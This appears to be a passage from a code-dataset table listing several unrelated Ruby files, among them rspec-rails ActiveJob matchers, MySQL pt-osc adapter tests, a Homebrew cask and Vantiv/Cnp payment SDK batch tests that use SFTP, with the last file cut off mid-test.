hexsha
stringlengths 40
40
| size
int64 2
1.01M
| content
stringlengths 2
1.01M
| avg_line_length
float64 1.5
100
| max_line_length
int64 2
1k
| alphanum_fraction
float64 0.25
1
|
---|---|---|---|---|---|
ab8c15b5cca8165446323be60a6d49eb7b81a6c6 | 59 | module Jrac
module Rails
VERSION = "0.0.1"
end
end
| 9.833333 | 21 | 0.627119 |
f7706a65a7ee9a7a31a80e2091323b8e76cb554a | 594 | # frozen_string_literal: true
require 'rails_helper'
describe 'sitenotice', type: :feature do
before :each do
ENV['sitenotice'] = notice
end
context 'set in the environment' do
let(:notice) { 'NOTICE: The system will go down for maintenance soon.' }
it 'is displayed if set' do
visit root_path
expect(first('.notification')).to have_content notice
end
end
context 'not set in the environment' do
let(:notice) { '' }
it 'does not display a flash notice' do
visit root_path
expect(first('.notification')).to be_nil
end
end
end
| 22 | 76 | 0.666667 |
08bbb2119de5256bc401077c46035f3bac37500c | 362 | # frozen_string_literal: true
require "bundler/setup"
require "rspec"
require "rack/test"
require "omniauth"
require "omniauth/test"
require "omniauth/idcat_mobil"
RSpec.configure do |config|
config.include Rack::Test::Methods
config.extend OmniAuth::Test::StrategyMacros, type: :strategy
config.expect_with :rspec do |c|
c.syntax = :expect
end
end | 22.625 | 63 | 0.759669 |
ab3d167c198e52f49da55f9b9696b23435a96bdb | 577 | cask "alfaview" do
version "8.29.0"
sha256 "3f069759d2ee5135353c2b40f27a0bf10b500233e73ba55501f784ad79e7358d"
url "https://assets.alfaview.com/stable/mac/alfaview-mac-production-#{version}.dmg"
name "Alfaview"
desc "Audio video conferencing"
homepage "https://alfaview.com/"
livecheck do
url "https://production-alfaview-assets.alfaview.com/stable/mac/version.info"
regex(/alfaview-mac-production[._-]v?(\d+(?:\.\d+)+)\.dmg/i)
end
depends_on macos: ">= :high_sierra"
app "alfaview.app"
zap trash: "~/Library/Application Support/alfaview"
end
| 27.47619 | 85 | 0.722704 |
ffe7133edcaeda30e63d16d35b52ec8ac696eaec | 454 | # frozen_string_literal: true
activate :blog do |blog|
blog.sources = 'blog/:year-:month-:day-:title.html'
blog.permalink = 'blog/:year-:month-:day-:title.html'
blog.calendar_template = 'calendar.html'
blog.tag_template = 'tag.html'
# blog.paginate = true
blog.per_page = 5
blog.custom_collections = {
category: {
link: '/categories/:category.html',
template: '/category.html'
}
}
end
| 25.222222 | 63 | 0.618943 |
217503a52e1e5b94579cd708fc01ffe17c9773ee | 15,322 | require "active_job/base"
require "active_job/arguments"
module RSpec
module Rails
module Matchers
# Namespace for various implementations of ActiveJob features
#
# @api private
module ActiveJob
# rubocop: disable Metrics/ClassLength
# @private
class Base < RSpec::Rails::Matchers::BaseMatcher
def initialize
@args = []
@queue = nil
@at = nil
@block = proc { }
set_expected_number(:exactly, 1)
end
def with(*args, &block)
@args = args
@block = block if block.present?
self
end
def on_queue(queue)
@queue = queue.to_s
self
end
def at(time_or_date)
case time_or_date
when Time then @at = Time.at(time_or_date.to_f)
else
@at = time_or_date
end
self
end
def exactly(count)
set_expected_number(:exactly, count)
self
end
def at_least(count)
set_expected_number(:at_least, count)
self
end
def at_most(count)
set_expected_number(:at_most, count)
self
end
def times
self
end
def once
exactly(:once)
end
def twice
exactly(:twice)
end
def thrice
exactly(:thrice)
end
def failure_message
"expected to #{self.class::FAILURE_MESSAGE_EXPECTATION_ACTION} #{base_message}".tap do |msg|
if @unmatching_jobs.any?
msg << "\nQueued jobs:"
@unmatching_jobs.each do |job|
msg << "\n #{base_job_message(job)}"
end
end
end
end
def failure_message_when_negated
"expected not to #{self.class::FAILURE_MESSAGE_EXPECTATION_ACTION} #{base_message}"
end
def message_expectation_modifier
case @expectation_type
when :exactly then "exactly"
when :at_most then "at most"
when :at_least then "at least"
end
end
def supports_block_expectations?
true
end
private
def check(jobs)
@matching_jobs, @unmatching_jobs = jobs.partition do |job|
if job_match?(job) && arguments_match?(job) && queue_match?(job) && at_match?(job)
args = deserialize_arguments(job)
@block.call(*args)
true
else
false
end
end
@matching_jobs_count = @matching_jobs.size
case @expectation_type
when :exactly then @expected_number == @matching_jobs_count
when :at_most then @expected_number >= @matching_jobs_count
when :at_least then @expected_number <= @matching_jobs_count
end
end
def base_message
"#{message_expectation_modifier} #{@expected_number} jobs,".tap do |msg|
msg << " with #{@args}," if @args.any?
msg << " on queue #{@queue}," if @queue
msg << " at #{@at.inspect}," if @at
msg << " but #{self.class::MESSAGE_EXPECTATION_ACTION} #{@matching_jobs_count}"
end
end
def base_job_message(job)
msg_parts = []
msg_parts << "with #{deserialize_arguments(job)}" if job[:args].any?
msg_parts << "on queue #{job[:queue]}" if job[:queue]
msg_parts << "at #{Time.at(job[:at])}" if job[:at]
"#{job[:job].name} job".tap do |msg|
msg << " #{msg_parts.join(', ')}" if msg_parts.any?
end
end
def job_match?(job)
@job ? @job == job[:job] : true
end
def arguments_match?(job)
if @args.any?
args = serialize_and_deserialize_arguments(@args)
deserialized_args = deserialize_arguments(job)
RSpec::Mocks::ArgumentListMatcher.new(*args).args_match?(*deserialized_args)
else
true
end
end
def queue_match?(job)
return true unless @queue
@queue == job[:queue]
end
def at_match?(job)
return true unless @at
return job[:at].nil? if @at == :no_wait
return false unless job[:at]
scheduled_at = Time.at(job[:at])
values_match?(@at, scheduled_at) || check_for_inprecise_value(scheduled_at)
end
def check_for_inprecise_value(scheduled_at)
return unless Time === @at && values_match?(@at.change(usec: 0), scheduled_at)
RSpec.warn_with((<<-WARNING).gsub(/^\s+\|/, '').chomp)
|[WARNING] Your expected `at(...)` value does not match the job scheduled_at value
|unless microseconds are removed. This precision error often occurs when checking
|values against `Time.current` / `Time.now` which have usec precision, but Rails
|uses `n.seconds.from_now` internally which has a usec count of `0`.
|
|Use `change(usec: 0)` to correct these values. For example:
|
|`Time.current.change(usec: 0)`
|
|Note: RSpec cannot do this for you because jobs can be scheduled with usec
|precision and we do not know wether it is on purpose or not.
|
|
WARNING
false
end
def set_expected_number(relativity, count)
@expectation_type = relativity
@expected_number = case count
when :once then 1
when :twice then 2
when :thrice then 3
else Integer(count)
end
end
def serialize_and_deserialize_arguments(args)
serialized = ::ActiveJob::Arguments.serialize(args)
::ActiveJob::Arguments.deserialize(serialized)
rescue ::ActiveJob::SerializationError
args
end
def deserialize_arguments(job)
::ActiveJob::Arguments.deserialize(job[:args])
rescue ::ActiveJob::DeserializationError
job[:args]
end
def queue_adapter
::ActiveJob::Base.queue_adapter
end
end
# rubocop: enable Metrics/ClassLength
# @private
class HaveEnqueuedJob < Base
FAILURE_MESSAGE_EXPECTATION_ACTION = 'enqueue'.freeze
MESSAGE_EXPECTATION_ACTION = 'enqueued'.freeze
def initialize(job)
super()
@job = job
end
def matches?(proc)
raise ArgumentError, "have_enqueued_job and enqueue_job only support block expectations" unless Proc === proc
original_enqueued_jobs_count = queue_adapter.enqueued_jobs.count
proc.call
in_block_jobs = queue_adapter.enqueued_jobs.drop(original_enqueued_jobs_count)
check(in_block_jobs)
end
def does_not_match?(proc)
set_expected_number(:at_least, 1)
!matches?(proc)
end
end
# @private
class HaveBeenEnqueued < Base
FAILURE_MESSAGE_EXPECTATION_ACTION = 'enqueue'.freeze
MESSAGE_EXPECTATION_ACTION = 'enqueued'.freeze
def matches?(job)
@job = job
check(queue_adapter.enqueued_jobs)
end
def does_not_match?(proc)
set_expected_number(:at_least, 1)
!matches?(proc)
end
end
# @private
class HavePerformedJob < Base
FAILURE_MESSAGE_EXPECTATION_ACTION = 'perform'.freeze
MESSAGE_EXPECTATION_ACTION = 'performed'.freeze
def initialize(job)
super()
@job = job
end
def matches?(proc)
raise ArgumentError, "have_performed_job only supports block expectations" unless Proc === proc
original_performed_jobs_count = queue_adapter.performed_jobs.count
proc.call
in_block_jobs = queue_adapter.performed_jobs.drop(original_performed_jobs_count)
check(in_block_jobs)
end
end
# @private
class HaveBeenPerformed < Base
FAILURE_MESSAGE_EXPECTATION_ACTION = 'perform'.freeze
MESSAGE_EXPECTATION_ACTION = 'performed'.freeze
def matches?(job)
@job = job
check(queue_adapter.performed_jobs)
end
end
end
# @api public
# Passes if a job has been enqueued inside block. May chain at_least, at_most or exactly to specify a number of times.
#
# @example
# expect {
# HeavyLiftingJob.perform_later
# }.to have_enqueued_job
#
# # Using alias
# expect {
# HeavyLiftingJob.perform_later
# }.to enqueue_job
#
# expect {
# HelloJob.perform_later
# HeavyLiftingJob.perform_later
# }.to have_enqueued_job(HelloJob).exactly(:once)
#
# expect {
# 3.times { HelloJob.perform_later }
# }.to have_enqueued_job(HelloJob).at_least(2).times
#
# expect {
# HelloJob.perform_later
# }.to have_enqueued_job(HelloJob).at_most(:twice)
#
# expect {
# HelloJob.perform_later
# HeavyLiftingJob.perform_later
# }.to have_enqueued_job(HelloJob).and have_enqueued_job(HeavyLiftingJob)
#
# expect {
# HelloJob.set(wait_until: Date.tomorrow.noon, queue: "low").perform_later(42)
# }.to have_enqueued_job.with(42).on_queue("low").at(Date.tomorrow.noon)
#
# expect {
# HelloJob.set(queue: "low").perform_later(42)
# }.to have_enqueued_job.with(42).on_queue("low").at(:no_wait)
#
# expect {
# HelloJob.perform_later('rspec_rails', 'rails', 42)
# }.to have_enqueued_job.with { |from, to, times|
# # Perform more complex argument matching using dynamic arguments
# expect(from).to include "_#{to}"
# }
def have_enqueued_job(job = nil)
check_active_job_adapter
ActiveJob::HaveEnqueuedJob.new(job)
end
alias_method :enqueue_job, :have_enqueued_job
# @api public
# Passes if a job has been enqueued. May chain at_least, at_most or exactly to specify a number of times.
#
# @example
# before { ActiveJob::Base.queue_adapter.enqueued_jobs.clear }
#
# HeavyLiftingJob.perform_later
# expect(HeavyLiftingJob).to have_been_enqueued
#
# HelloJob.perform_later
# HeavyLiftingJob.perform_later
# expect(HeavyLiftingJob).to have_been_enqueued.exactly(:once)
#
# 3.times { HelloJob.perform_later }
# expect(HelloJob).to have_been_enqueued.at_least(2).times
#
# HelloJob.perform_later
# expect(HelloJob).to enqueue_job(HelloJob).at_most(:twice)
#
# HelloJob.perform_later
# HeavyLiftingJob.perform_later
# expect(HelloJob).to have_been_enqueued
# expect(HeavyLiftingJob).to have_been_enqueued
#
# HelloJob.set(wait_until: Date.tomorrow.noon, queue: "low").perform_later(42)
# expect(HelloJob).to have_been_enqueued.with(42).on_queue("low").at(Date.tomorrow.noon)
#
# HelloJob.set(queue: "low").perform_later(42)
# expect(HelloJob).to have_been_enqueued.with(42).on_queue("low").at(:no_wait)
def have_been_enqueued
check_active_job_adapter
ActiveJob::HaveBeenEnqueued.new
end
# @api public
# Passes if a job has been performed inside block. May chain at_least, at_most or exactly to specify a number of times.
#
# @example
# expect {
# perform_jobs { HeavyLiftingJob.perform_later }
# }.to have_performed_job
#
# expect {
# perform_jobs {
# HelloJob.perform_later
# HeavyLiftingJob.perform_later
# }
# }.to have_performed_job(HelloJob).exactly(:once)
#
# expect {
# perform_jobs { 3.times { HelloJob.perform_later } }
# }.to have_performed_job(HelloJob).at_least(2).times
#
# expect {
# perform_jobs { HelloJob.perform_later }
# }.to have_performed_job(HelloJob).at_most(:twice)
#
# expect {
# perform_jobs {
# HelloJob.perform_later
# HeavyLiftingJob.perform_later
# }
# }.to have_performed_job(HelloJob).and have_performed_job(HeavyLiftingJob)
#
# expect {
# perform_jobs {
# HelloJob.set(wait_until: Date.tomorrow.noon, queue: "low").perform_later(42)
# }
# }.to have_performed_job.with(42).on_queue("low").at(Date.tomorrow.noon)
def have_performed_job(job = nil)
check_active_job_adapter
ActiveJob::HavePerformedJob.new(job)
end
alias_method :perform_job, :have_performed_job
# @api public
# Passes if a job has been performed. May chain at_least, at_most or exactly to specify a number of times.
#
# @example
# before do
# ActiveJob::Base.queue_adapter.performed_jobs.clear
# ActiveJob::Base.queue_adapter.perform_enqueued_jobs = true
# ActiveJob::Base.queue_adapter.perform_enqueued_at_jobs = true
# end
#
# HeavyLiftingJob.perform_later
# expect(HeavyLiftingJob).to have_been_performed
#
# HelloJob.perform_later
# HeavyLiftingJob.perform_later
# expect(HeavyLiftingJob).to have_been_performed.exactly(:once)
#
# 3.times { HelloJob.perform_later }
# expect(HelloJob).to have_been_performed.at_least(2).times
#
# HelloJob.perform_later
# HeavyLiftingJob.perform_later
# expect(HelloJob).to have_been_performed
# expect(HeavyLiftingJob).to have_been_performed
#
# HelloJob.set(wait_until: Date.tomorrow.noon, queue: "low").perform_later(42)
# expect(HelloJob).to have_been_performed.with(42).on_queue("low").at(Date.tomorrow.noon)
def have_been_performed
check_active_job_adapter
ActiveJob::HaveBeenPerformed.new
end
private
# @private
def check_active_job_adapter
return if ::ActiveJob::QueueAdapters::TestAdapter === ::ActiveJob::Base.queue_adapter
raise StandardError, "To use ActiveJob matchers set `ActiveJob::Base.queue_adapter = :test`"
end
end
end
end
| 32.879828 | 125 | 0.560893 |
18677498dde5f92bb7e5547ff6065ac1e40af675 | 8,942 | require 'test_helper'
class MysqlPtOscAdapterTest < ActiveSupport::TestCase
class TestConnection < ActiveRecord::Base; end
context 'a pt-osc adapter' do
setup do
TestConnection.establish_connection(test_spec)
@adapter = TestConnection.connection
# Silence warnings about not using an ActiveRecord::PtOscMigration
# @see Kernel#suppress_warnings
@original_verbosity, $VERBOSE = $VERBOSE, nil
end
teardown do
$VERBOSE = @original_verbosity
end
context '#rename_table' do
context 'with no existing commands' do
setup do
@adapter.instance_variable_set(:@osc_commands, nil)
end
should 'add a RENAME TO command to the commands hash' do
table_name = Faker::Lorem.word
new_table_name = Faker::Lorem.word
@adapter.rename_table(table_name, new_table_name)
assert_equal "RENAME TO `#{new_table_name}`", @adapter.send(:get_commands, table_name).first
end
end
end
context '#add_column' do
context 'with no existing commands' do
setup do
@adapter.instance_variable_set(:@osc_commands, nil)
end
should 'add an ADD command to the commands hash' do
table_name = Faker::Lorem.word
column_name = 'foobar'
@adapter.add_column(table_name, column_name, :string, default: 0, null: false)
if defined?(ActiveRecord::ConnectionAdapters::MysqlPtOscAdapter::MysqlString)
sql_type = ActiveRecord::ConnectionAdapters::MysqlPtOscAdapter::MysqlString.new
else
sql_type = 'string'
end
column = ActiveRecord::ConnectionAdapters::MysqlPtOscAdapter::Column.new(column_name, 0, sql_type)
default_value = @adapter.quote(0, column)
assert_equal "ADD `#{column_name}` varchar(255) DEFAULT #{default_value} NOT NULL", @adapter.send(:get_commands, table_name).first
end
end
end
context '#change_column' do
context 'with no existing commands' do
setup do
@adapter.instance_variable_set(:@osc_commands, nil)
end
context 'with an existing table and column' do
setup do
@table_name = Faker::Lorem.word
@column_name = 'foobar'
@adapter.create_table @table_name, force: true do |t|
t.string @column_name
end
end
should 'add a CHANGE command to the commands hash' do
@adapter.change_column(@table_name, @column_name, :string, default: 0, null: false)
default_value = @adapter.quote(0, @adapter.columns(@table_name).detect{|c| c.name == @column_name })
assert_equal "CHANGE `#{@column_name}` `#{@column_name}` varchar(255) DEFAULT #{default_value} NOT NULL", @adapter.send(:get_commands, @table_name).first
end
end
end
end
context '#rename_column' do
context 'with no existing commands' do
setup do
@adapter.instance_variable_set(:@osc_commands, nil)
end
context 'with an existing table and column' do
setup do
@table_name = Faker::Lorem.word
@column_name = 'foobar'
@adapter.create_table @table_name, force: true do |t|
t.string @column_name, default: nil
end
end
should 'add a CHANGE command to the commands hash' do
new_column_name = 'foobar'
@adapter.rename_column(@table_name, @column_name, new_column_name)
assert_equal "CHANGE `#{@column_name}` `#{new_column_name}` varchar(255) DEFAULT NULL", @adapter.send(:get_commands, @table_name).first
end
end
end
end
context '#remove_column' do
context 'with no existing commands' do
setup do
@adapter.instance_variable_set(:@osc_commands, nil)
end
should 'add a DROP COLUMN command to the commands hash' do
table_name = Faker::Lorem.word
column_name = 'foobar'
@adapter.remove_column(table_name, column_name)
assert_equal "DROP COLUMN `#{column_name}`", @adapter.send(:get_commands, table_name).first
end
should 'add multiple DROP COLUMN commands to the commands hash' do
table_name = Faker::Lorem.word
column_names = %w(foo bar baz)
@adapter.remove_column(table_name, *column_names)
commands = @adapter.send(:get_commands, table_name)
column_names.each_with_index do |column_name, index|
assert_equal "DROP COLUMN `#{column_name}`", commands[index]
end
end
end
end
context '#add_index' do
context 'with no existing commands' do
setup do
@adapter.instance_variable_set(:@osc_commands, nil)
end
context 'with an existing table and columns' do
setup do
@table_name = Faker::Lorem.word
@column_names = %w(foo bar baz)
@adapter.create_table @table_name, force: true do |t|
@column_names.each do |column_name|
t.string(column_name, default: nil)
end
end
end
should 'add an ADD INDEX command for one column to the commands hash' do
index_name = Faker::Lorem.words.join('_')
@adapter.add_index(@table_name, @column_names.first, name: index_name)
assert_equal "ADD INDEX `#{index_name}` (`#{@column_names.first}`)", @adapter.send(:get_commands, @table_name).first
end
should 'add an ADD UNIQUE INDEX command for one column to the commands hash' do
index_name = Faker::Lorem.words.join('_')
@adapter.add_index(@table_name, @column_names.first, unique: true, name: index_name)
assert_equal "ADD UNIQUE INDEX `#{index_name}` (`#{@column_names.first}`)", @adapter.send(:get_commands, @table_name).first
end
should 'add an ADD INDEX command for multiple columns to the commands hash' do
index_name = Faker::Lorem.words.join('_')
@adapter.add_index(@table_name, @column_names, name: index_name)
assert_equal "ADD INDEX `#{index_name}` (`#{@column_names.join('`, `')}`)", @adapter.send(:get_commands, @table_name).first
end
end
end
end
context '#remove_index!' do
context 'with no existing commands' do
setup do
@adapter.instance_variable_set(:@osc_commands, nil)
end
should 'add a DROP COLUMN command to the commands hash' do
table_name = Faker::Lorem.word
index_name = Faker::Lorem.words.join('_')
@adapter.remove_index!(table_name, index_name)
assert_equal "DROP INDEX `#{index_name}`", @adapter.send(:get_commands, table_name).first
end
end
end
context '#add_command' do
context 'with no existing commands' do
setup do
@adapter.instance_variable_set(:@osc_commands, nil)
end
should 'add a command without initializing the array' do
table_name = Faker::Lorem.word
@adapter.send(:add_command, table_name, 'foo')
assert_kind_of Array, @adapter.send(:get_commands, table_name)
assert_equal 1, @adapter.send(:get_commands, table_name).size
assert_equal 'foo', @adapter.send(:get_commands, table_name).first
end
end
end
context '#get_commands' do
context 'with no existing commands' do
setup do
@adapter.instance_variable_set(:@osc_commands, nil)
end
should "return nil for a table that doesn't exist" do
table_name = Faker::Lorem.word
assert_nil @adapter.send(:get_commands, table_name)
end
end
context 'with existing commands' do
setup do
@commands_hash = 3.times.inject({}) do |hash|
hash[Faker::Lorem.word] = [Faker::Lorem.sentence]
hash
end
@adapter.instance_variable_set(:@osc_commands, @commands_hash)
end
should 'return the entire commands hash when no table is given' do
assert_equal @commands_hash, @adapter.send(:get_commands)
end
should "return only the given table's command array" do
table = @commands_hash.keys.first
assert_equal @commands_hash[table], @adapter.send(:get_commands, table)
end
end
end
context '#get_commands_string' do
context 'with no existing commands' do
setup do
@adapter.instance_variable_set(:@osc_commands, nil)
end
should "return an empty string for a table that doesn't exist" do
table_name = Faker::Lorem.word
assert_equal '', @adapter.send(:get_commands_string, table_name)
end
end
end
end
end
| 36.647541 | 165 | 0.62335 |
1af62f58651006d17c6498241c43e83698b84451 | 12,588 | =begin
Copyright (c) 2017 Vantiv eCommerce
Permission is hereby granted, free of charge, to any person
obtaining a copy of this software and associated documentation
files (the "Software"), to deal in the Software without
restriction, including without limitation the rights to use,
copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following
conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
=end
require File.expand_path("../../../lib/CnpOnline",__FILE__)
require 'test/unit'
require 'fileutils'
CNP_SDK_TEST_FOLDER = '/cnp-sdk-for-ruby-test'
module CnpOnline
class TestCnpRequest < Test::Unit::TestCase
def setup
dir = '/tmp' + CNP_SDK_TEST_FOLDER
FileUtils.rm_rf dir
Dir.mkdir dir
end
def test_request_creation
dir = '/tmp'
request = CnpRequest.new()
request.create_new_cnp_request(dir + CNP_SDK_TEST_FOLDER)
entries = Dir.entries(dir + CNP_SDK_TEST_FOLDER)
entries.sort!
assert_equal 4, entries.size
assert_not_nil entries[2] =~ /#{REQUEST_FILE_PREFIX}\d+\z/
assert_not_nil entries[3] =~ /#{REQUEST_FILE_PREFIX}\d+_batches\z/
end
def test_commit_batch_with_path
dir = '/tmp'
batch = CnpBatchRequest.new
batch.create_new_batch(dir + CNP_SDK_TEST_FOLDER)
batch.close_batch
entries = Dir.entries(dir + CNP_SDK_TEST_FOLDER)
assert_equal 3, entries.length
entries.sort!
assert_not_nil entries[2] =~ /batch_\d+.closed-0\z/
request = CnpRequest.new
request.create_new_cnp_request(dir+ CNP_SDK_TEST_FOLDER)
entries = Dir.entries(dir + CNP_SDK_TEST_FOLDER)
entries.sort!
assert_not_nil entries[2] =~ /batch_\d+.closed-0\z/
assert_not_nil entries[3] =~ /#{REQUEST_FILE_PREFIX}\d+\z/
assert_not_nil entries[4] =~ /#{REQUEST_FILE_PREFIX}\d+_batches\z/
request.commit_batch(batch.get_batch_name)
entries = Dir.entries(dir + CNP_SDK_TEST_FOLDER)
entries.sort!
assert_equal 4,entries.length
assert_not_nil entries[2] =~ /#{REQUEST_FILE_PREFIX}\d+\z/
assert_not_nil entries[3] =~ /#{REQUEST_FILE_PREFIX}\d+_batches\z/
end
def test_commit_batch_with_batch
dir = '/tmp'
batch = CnpBatchRequest.new
batch.create_new_batch(dir + CNP_SDK_TEST_FOLDER)
batch.close_batch
entries = Dir.entries(dir + CNP_SDK_TEST_FOLDER)
assert_equal 3, entries.length
entries.sort!
assert_not_nil entries[2] =~ /batch_\d+.closed-0\z/
request = CnpRequest.new
request.create_new_cnp_request(dir+ CNP_SDK_TEST_FOLDER)
entries = Dir.entries(dir + CNP_SDK_TEST_FOLDER)
entries.sort!
assert_equal 5, entries.length
assert_not_nil entries[2] =~ /batch_\d+.closed-0\z/
assert_not_nil entries[3] =~ /#{REQUEST_FILE_PREFIX}\d+\z/
assert_not_nil entries[4] =~ /#{REQUEST_FILE_PREFIX}\d+_batches\z/
request.commit_batch(batch)
entries = Dir.entries(dir + CNP_SDK_TEST_FOLDER)
entries.sort!
assert_equal 4, entries.length
assert_not_nil entries[2] =~ /#{REQUEST_FILE_PREFIX}\d+\z/
assert_not_nil entries[3] =~ /#{REQUEST_FILE_PREFIX}\d+_batches\z/
end
def test_commit_batch_with_batch_and_au
dir = '/tmp'
batch = CnpBatchRequest.new
batch.create_new_batch(dir + CNP_SDK_TEST_FOLDER)
accountUpdateHash = {
'reportGroup'=>'Planets',
'id'=>'12345',
'customerId'=>'0987',
'card'=>{
'type'=>'VI',
'number' =>'4100000000000001',
'expDate' =>'1210'
}}
batch.account_update(accountUpdateHash)
batch.close_batch
entries = Dir.entries(dir + CNP_SDK_TEST_FOLDER)
assert_equal 4, entries.length
entries.sort!
assert_not_nil entries[2] =~ /batch_\d+.closed-0\z/
assert_not_nil entries[3] =~ /batch_\d+.closed-1\z/
request = CnpRequest.new
request.create_new_cnp_request(dir+ CNP_SDK_TEST_FOLDER)
entries = Dir.entries(dir + CNP_SDK_TEST_FOLDER)
entries.sort!
assert_equal 6, entries.length
assert_not_nil entries[2] =~ /batch_\d+.closed-0\z/
assert_not_nil entries[3] =~ /batch_\d+.closed-1\z/
assert_not_nil entries[4] =~ /#{REQUEST_FILE_PREFIX}\d+\z/
assert_not_nil entries[5] =~ /#{REQUEST_FILE_PREFIX}\d+_batches\z/
request.commit_batch(batch)
entries = Dir.entries(dir + CNP_SDK_TEST_FOLDER)
entries.sort!
assert_equal 4, entries.length
assert_not_nil entries[2] =~ /#{REQUEST_FILE_PREFIX}\d+\z/
assert_not_nil entries[3] =~ /#{REQUEST_FILE_PREFIX}\d+_batches\z/
end
def test_finish_request
dir = '/tmp'
request = CnpRequest.new()
request.create_new_cnp_request(dir + CNP_SDK_TEST_FOLDER)
entries = Dir.entries(dir + CNP_SDK_TEST_FOLDER)
entries.sort!
assert_equal 4, entries.size
assert_not_nil entries[2] =~ /#{REQUEST_FILE_PREFIX}\d+\z/
assert_not_nil entries[3] =~ /#{REQUEST_FILE_PREFIX}\d+_batches\z/
request.finish_request
entries = Dir.entries(dir + CNP_SDK_TEST_FOLDER)
entries.sort!
assert_equal 3, entries.size
assert_not_nil entries[2] =~ /#{REQUEST_FILE_PREFIX}\d+#{COMPLETE_FILE_SUFFIX}\z/
end
def test_add_rfr
@config_hash = Configuration.new.config
dir = '/tmp'
temp = dir + CNP_SDK_TEST_FOLDER + '/'
request = CnpRequest.new()
request.add_rfr_request({'cnpSessionId' => '137813712'}, temp)
entries = Dir.entries(temp)
entries.sort!
assert_equal 3, entries.size
assert_not_nil entries[2] =~ /#{REQUEST_FILE_PREFIX}\d+#{COMPLETE_FILE_SUFFIX}\z/
end
def test_send_to_cnp
@config_hash = Configuration.new.config
dir = '/tmp'
request = CnpRequest.new()
request.create_new_cnp_request(dir + CNP_SDK_TEST_FOLDER)
request.finish_request
request.send_to_cnp
entries = Dir.entries(dir + CNP_SDK_TEST_FOLDER)
entries.sort!
assert_equal 3, entries.size
puts entries[2]
assert_not_nil entries[2] =~ /#{REQUEST_FILE_PREFIX}\d+#{COMPLETE_FILE_SUFFIX}#{SENT_FILE_SUFFIX}\z/
uploaded_file = entries[2]
options = {}
username = get_config(:sftp_username, options)
password = get_config(:sftp_password, options)
url = get_config(:sftp_url, options)
Net::SFTP.start(url, username, :password => password) do |sftp|
# clear out the sFTP outbound dir prior to checking for new files, avoids leaving files on the server
# if files are left behind we are not counting then towards the expected total
ents = []
handle = sftp.opendir!('/inbound/')
files_on_srv = sftp.readdir!(handle)
files_on_srv.each {|file|
ents.push(file.name)
}
assert_equal 3,ents.size
ents.sort!
assert_equal ents[2], uploaded_file.gsub(SENT_FILE_SUFFIX, '.asc')
sftp.remove('/inbound/' + ents[2])
end
end
def test_send_to_cnp_stream
@config_hash = Configuration.new.config
dir = '/tmp'
request = CnpRequest.new()
request.create_new_cnp_request(dir + CNP_SDK_TEST_FOLDER)
request.finish_request
request.send_to_cnp_stream
entries = Dir.entries(dir + CNP_SDK_TEST_FOLDER)
entries.sort!
assert_equal 4, entries.size
assert_not_nil entries[2] =~ /#{REQUEST_FILE_PREFIX}\d+#{COMPLETE_FILE_SUFFIX}#{SENT_FILE_SUFFIX}\z/
File.delete(dir + CNP_SDK_TEST_FOLDER + '/' + entries[2])
entries = Dir.entries(dir + CNP_SDK_TEST_FOLDER + '/' + RESPONSE_PATH_DIR)
entries.sort!
assert_equal 3, entries.size
assert_not_nil entries[2] =~ /#{RESPONSE_FILE_PREFIX}\d+#{COMPLETE_FILE_SUFFIX}.asc#{RECEIVED_FILE_SUFFIX}\z/
end
def test_full_flow
saleHash = {
'reportGroup'=>'Planets',
'id' => '006',
'orderId'=>'12344',
'amount'=>'6000',
'orderSource'=>'ecommerce',
'card'=>{
'type'=>'VI',
'number' =>'4100000000000001',
'expDate' =>'1210'
}}
dir = '/tmp'
request = CnpRequest.new()
request.create_new_cnp_request(dir + CNP_SDK_TEST_FOLDER)
entries = Dir.entries(dir + CNP_SDK_TEST_FOLDER)
entries.sort!
assert_equal 4, entries.size
assert_not_nil entries[2] =~ /#{REQUEST_FILE_PREFIX}\d+\z/
assert_not_nil entries[3] =~ /#{REQUEST_FILE_PREFIX}\d+_batches\z/
#create five batches, each with 10 sales
5.times{
batch = CnpBatchRequest.new
batch.create_new_batch(dir + CNP_SDK_TEST_FOLDER)
entries = Dir.entries(dir + CNP_SDK_TEST_FOLDER)
assert_equal 6, entries.length
entries.sort!
assert_not_nil entries[2] =~ /batch_\d+\z/
assert_not_nil entries[3] =~ /batch_\d+_txns\z/
assert_not_nil entries[4] =~ /#{REQUEST_FILE_PREFIX}\d+\z/
assert_not_nil entries[5] =~ /#{REQUEST_FILE_PREFIX}\d+_batches\z/
#add the same sale ten times
10.times{
#batch.account_update(accountUpdateHash)
saleHash['card']['number']= (saleHash['card']['number'].to_i + 1).to_s
batch.sale(saleHash)
}
#close the batch, indicating we plan to add no more transactions
batch.close_batch()
entries = Dir.entries(dir + CNP_SDK_TEST_FOLDER)
assert_equal 5, entries.length
entries.sort!
assert_not_nil entries[2] =~ /batch_\d+.closed-\d+\z/
assert_not_nil entries[3] =~ /#{REQUEST_FILE_PREFIX}\d+\z/
assert_not_nil entries[4] =~ /#{REQUEST_FILE_PREFIX}\d+_batches\z/
#add the batch to the CnpRequest
request.commit_batch(batch)
entries = Dir.entries(dir + CNP_SDK_TEST_FOLDER)
assert_equal 4, entries.length
entries.sort!
assert_not_nil entries[2] =~ /#{REQUEST_FILE_PREFIX}\d+\z/
assert_not_nil entries[3] =~ /#{REQUEST_FILE_PREFIX}\d+_batches\z/
}
#finish the Cnp Request, indicating we plan to add no more batches
request.finish_request
entries = Dir.entries(dir + CNP_SDK_TEST_FOLDER)
assert_equal 3, entries.length
entries.sort!
assert_not_nil entries[2] =~ /#{REQUEST_FILE_PREFIX}\d+.complete\z/
#send the batch files at the given directory over sFTP
request.send_to_cnp
entries = Dir.entries(dir + CNP_SDK_TEST_FOLDER)
assert_equal entries.length, 3
entries.sort!
